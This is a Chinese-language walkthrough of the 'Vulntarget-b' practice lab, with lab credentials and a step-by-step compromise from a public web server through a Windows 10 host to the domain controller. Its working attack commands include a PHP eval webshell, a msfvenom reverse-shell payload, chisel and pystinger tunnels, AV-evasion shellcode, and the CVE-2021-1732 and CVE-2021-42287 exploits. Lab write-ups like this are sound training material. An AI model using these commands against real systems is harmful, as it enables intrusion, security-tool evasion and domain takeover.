Vulntarget-b
环境配置
centos7
用户 | 密码 |
---|---|
root | root |
vulntarget | root |
宝塔Linux面板http://192.168.0.104:8888/045b2769
username | password |
---|---|
rpngwb3l | b0db10cc |
我这不想改kali的 就直接改他的外网IP了
vi /etc/sysconfig/network-scripts/ifcfg-ens33
域控2016
账号信息
域:vulntarget.com
账号 | 密码 |
---|---|
administrator | qwe!@#123(原始为:Admin@123) |
win101 | admin#123 |
域成员win10
账号信息
本地账号:win10 | 密码:win10#123 |
---|---|
管理员:administrator | 密码:admin@123 |
域成员:vulntarget\win101 | 密码:admin#123 |
web后台::admin | 密码:Admin123 |
网络
centos7 | 192.168.130.104 | 10.0.20.30 |
---|---|---|
win10 | 10.0.20.66 | 10.0.10.99 |
域控2016 | / | 10.0.10.100 |
kali | 192.168.130.5 | / |
实战
信息收集
得到外网IP开始扫一下端口服务,发现了登录面板
果然8888端口上的宝塔
搜索一波找到这个cms默认的登录点,试了几次发现当存在这个用户的时候,密码错了会报用户不存在,但不会重新刷新验证码。
直接抓包丢到burp里面跑一下常用登录密码就出来了
反弹shell
之后查了以下这个cms的漏洞,有一个可以利用的点
登上后台去搜插件,就是这个可以动后台文件准没错
下载好了之后点配置然后就会要设置一下
之后再输一次密码就可以进到下面的页面
进来第一眼就是想利用404来反弹shell但是没成功,后面随便在一个文件php里面插入一句话可以进来
上线msf
但接着发现命令执行不了会返回,这里就利用蚁剑的插件来绕过
上传了🐎子,赋权了之后就可以上线了
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.130.5 LPORT=9999 -f elf > bk.elf
Linux提权
创建路由入段,然后查找可提权模块
run post/multi/manage/autoroute
run post/multi/recon/local_exploit_suggester
一路尝试了过来直到第六个的时候发现可以创建一个root权限的用户msf,密码为lawdkrkmobruddu.可以ssh连上去就是root
再用这个账户重新开刚刚那个🐎子,以root上线msf
chesil第一层代理
创建路由入段。使用portscan模块扫一下10.0.20.1这个网段的端口,得到了一个66的机器开了8080端口
run post/multi/manage/autoroute
use auxiliary/scanner/portscan/tcp
然后本来用msf的代理模块来续上nmap接着扫,但是才一会会就断开了,一点都不稳定
这里用体积小还很稳定的chisel开启socks代理
./chesil_1.7.7_linux_386 server -p 6666 --reverse
./chesil_1.7.7_linux_386 client 192.168.130.104:6666 R:socks
ssh上转发本地流量
ssh -C -f -N -g -L 0.0.0.0:12121:127.0.0.1:1080 msf@192.168.130.104
浏览器上配置好代理
就可以访问到66这台机器了,但是这个页面试了几次就会锁十分钟,真就弱口令硬试出来才能登录
文件上传拿webshell
查看到cms的版本信息
http://10.0.20.66:8080/index.php?mode=getconfig
搜索禅道12.4.2这个版本的历史漏洞
按照复现步骤来就行了,简述一下,写入一句话然后用base64加密马子的下载地址(HTTP必须大写,或者也可以替换成FTP)并在30这台机器上开启web服务确保能够下载到,然后再替换&link=后面的内容为加密过的下载地址访问。但是是出了错,下载不了
echo '<?php @eval(\$_REQUEST['x']); ?>' > 3.php
echo 'HTTP://10.0.20.33:1514/3.php' | base64
python -m SimpleHTTPServer 1514
http://10.0.20.66:8080/index.php/index.php?m=client&f=download&version=1&link=RlRQOjEwLjAuMjAuMzA6NTY1Ni8xLnBocA==
我去win10上看是产生了一个php文件,但是却是空文件。开关防火前没有影响。应该是后端处理下载文件的问题。
试了几次使用哥斯拉base64加密的🐎保存成功了
连上去了,代理的设置和浏览器一样的。发现当前还存在一个10.0.10.0的网段
查看了一下进程发现里面有火绒
pystinger第二层代理
这里因为66这台win10不出网,是个内网的服务器,就使用pystinger通过webshell进行流量转发。用哥斯拉上传proxy.php。能访问到显示UTF-8就没问题了。
哥斯拉和本地kali上面如下执行,当stinger_client显示“socks4a ready 头accept”,就表示信道建立成功
stinger_server.exe 0.0.0.0
./stinger_client-w http://10.0.20.66:8080/data/proxy.php -l 127.0.0.1 -p 60000
免杀过火绒
先生成c格式的payload,然后我这里用的是96368a/Logs404_BypassAV: 木末君的shellcode免杀脚本 (github.com)。生成exe后上传
python v1.3.py dosth.c
在cs上建立新的监听器,由于pystinger的转发将66这台win10 60020的流量映射到了kali的60020端口,故如下:
运行之后就会上线,不过时不时会假死一下,等一会才会执行命令
win10提权
尝试了一下比较新的漏洞没成功
把复制的systeminfo的信息丢到提权辅助网站上看看,试试底下第一个建议的 cve-2021-1732
把项目clone下来,然后开vs选Windows 桌面向导。因为readme里面很简略,这里就详细记录一下编译过程,
选桌面应用程序再勾上空项目
添加现有项选择下载的ExploitTest.cpp,注意一下左上角的debug选项
然后按 Alt + F7
打开设置,如下配置即可
最后这里也要修改一下,不然会报错:LNK2019 无法解析的外部符号 _main函数 “int __cdecl invoke_main(void)“中引用了该符号
按F7生成解决方案之后,进C:\Users\用户名\source\repos\项目名\x64\Debug,就可以看到编译好的exe了
但是有概率蓝屏,等他转一会继续就行了
执行几次之后,就会以system权限执行前面上传的🐎子上线
ExploitTest.exe "shell1.exe"
抓一下密码,由于这台机器上没登过管理员的号抓不到,只有这台机器win101这个用户的
去在线网站上接出来得到密码 admin#123
拿下域控
得到66这台机器的账密之后直接上 CVE-2021-42287,拿下域控
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
proxychains python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell